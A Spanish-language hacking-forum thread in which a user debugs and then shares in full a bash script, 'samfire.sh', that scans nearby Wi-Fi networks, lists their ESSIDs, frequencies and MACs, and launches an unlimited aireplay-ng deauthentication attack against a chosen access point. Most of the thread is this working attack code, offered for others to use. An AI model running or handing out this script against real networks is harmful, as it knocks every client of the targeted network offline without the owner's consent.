Bienvenidos al nuevo foro de hackplayers. En caso de encontrarse cualquier tipo de error, contacte con cualquier administrador por mensaje privado.
Recuerda que, para incrementar tu privacidad, tambien puedes acceder al foro usando el dominio forohpysho2t5mjs.onion de la red tor.

[SHELL SCRIPT] Mostrar vector correctamente

Hace algún tiempo me automaticé el aireplay con el ataque de desautenticación, la cosa es que a veces funciona y a veces no. Me gustaría que alguna alma caritativa me explicara que tipo de duendes estan actuando.

[code]  

#RECOPILACION DE ONDAS WIFI
iwlist wlan0 scanning > scaneo_temp
cat scaneo_temp | grep Address:| awk '{print $5}' > macs
cat scaneo_temp | grep Freq | awk '{print $1}' | sed -e "s/Frequency://g" > frequency
cat scaneo_temp | grep ESSID:| awk '{print $1}' |sed -e "s/ESSID://g" |  sed -e 's/"//g' > essids

#CALCULO OBJETIVOS
NUM_TOTAL=$(wc macs | awk '{print $1}')

#ORDENAMIENTO OBJETIVOS. Recorro cada archivo y lo voy almacenando en el correspondiente vector
while read line
do
 vector_e[$e]=${line}
 e=$(($e+1))
done < essids

while read line
do
 vector_f[$f]=${line}
 f=$(($f+1))
done < frequency

while read line
do
 vector_m[$m]=${line}
 m=$(($m+1))
done < macs
[/code]

Hasta aquí si lanzo un cat macs y un cat essids,..., Sí aparecen ordenados.. desde el primero al último tienen su correspondencia en los otros archivos.


ESTA PARTE ES LA QUE FALLA COMO UNA ESCOPETA DE FERIA

[code]
if [ -f /root/Desktop/samfire/lista ]; then rm lista; fi
clear
for x in `seq 0 $NUM_TOTAL`; do
echo "[$x] : ${vector_e[x]} : ${vector_f[x]} : ${vector_m[x]}">>lista
done
cat lista
[/code]

No se porque pero aquí los datos no mantienen el orden de los ficheros.

Saludos.

pd:el problema estaba en que el vector iba almacenando y no tenía un punto de inicialización..
..una vez que se inicializan a 0 con declare -a vector_e=()  no guardan los valores.
1. A ver si se puede eliminar este hilo  y cuando lo tenga pulido lo subo si le interesa a alguien, ya que no veo claro el asunto.

pd2: ya está todo ok. el problema era al guardar en el vector
i=0
while read linea ; do
   vector_m[$i]=${linea}
   i=$(($i+1))
done <<< "`cat macs`"

si el hilo no es de utilidad o no cumple las espectativas puede ser eliminado sin problemas.
Gracias


Mejor respuesta

Respuestas

  • Comparto el script entereo por si le sirve de utilidad a alguien.

    Se trata de una automatización del uso del ataque denegación wifi con airoscript. Lo único que hace es buscar puntos wifi y mostrarlos en una lista, se seleciona uno y se lanza el aireplay.

    La automatización del manejo da le interfaz, y la ruta del archivo de trabajo lo dejo para la actualización.

    [code]
    #!/bin/bash
    #samfire.sh
    #
    #
    #
    airmon-ng stop mon0
    #RECOPILACION DE ONDAS WIFI
    ifconfig wlan0 up

    iwlist wlan0 scanning > scaneo_temp
    cat scaneo_temp | grep Address:| awk '{print $5}' > macs
    cat scaneo_temp | grep Freq | awk '{print $1}' | sed -e "s/Frequency://g" > frequency
    cat scaneo_temp | grep ESSID:| awk '{print $1}' |sed -e "s/ESSID://g" |  sed -e 's/"//g' > essids
    #ELIMINACION TEMPORALES
    #rm scaneo_temp


    #INICIALIZANDO VECTORES
    declare -a vector_e=()
    declare -a vector_f=()
    declare -a vector_m=()

    #ORDENAMIENTO OBJETIVOS
    i=0
    while read linea ; do
       vector_e[$i]=${linea}
       i=$(($i+1))
    done <<< "`cat essids`"

    i=0
    while read linea ; do
       vector_f[$i]=${linea}
       i=$(($i+1))
    done <<< "`cat frequency`"

    i=0
    while read linea ; do
       vector_m[$i]=${linea}
       i=$(($i+1))
    done <<< "`cat macs`"

     
    #ATAQUE SELECTIVO
    #MUESTRA LISTA

    NUM_TOTAL=$(wc macs | awk '{print $1}')
    NUM_TOTAL=$(($NUM_TOTAL-1))

    if [ -f /root/Desktop/samfire/lista ]; then rm lista; fi
    clear
    for x in `seq 0 $NUM_TOTAL`; do
    echo "[$x] : ${vector_e[x]}  :  ${vector_f[x]}  :  ${vector_m[x]}">>lista
    done
    cat lista

    echo "--seleccionar objetivo--"
    read objetivo
    echo "--preparando interfaz--"

    #echo "$objetivo"
    echo "OBJETVO: ${vector_e[$objetivo]}, ${vector_f[$objetivo]}, ${vector_m[$objetivo]}"

    #ATAQUE
    airmon-ng start wlan0
    ifconfig wlan0 down
    iwconfig wlan0 freq ${vector_f[$objetivo]}G
    ifconfig wlan0 up
    aireplay-ng -0 0 -e $vector_e[$objetivo] -a ${vector_m[$objetivo]} mon0
    [/code]

Accede o Regístrate para comentar.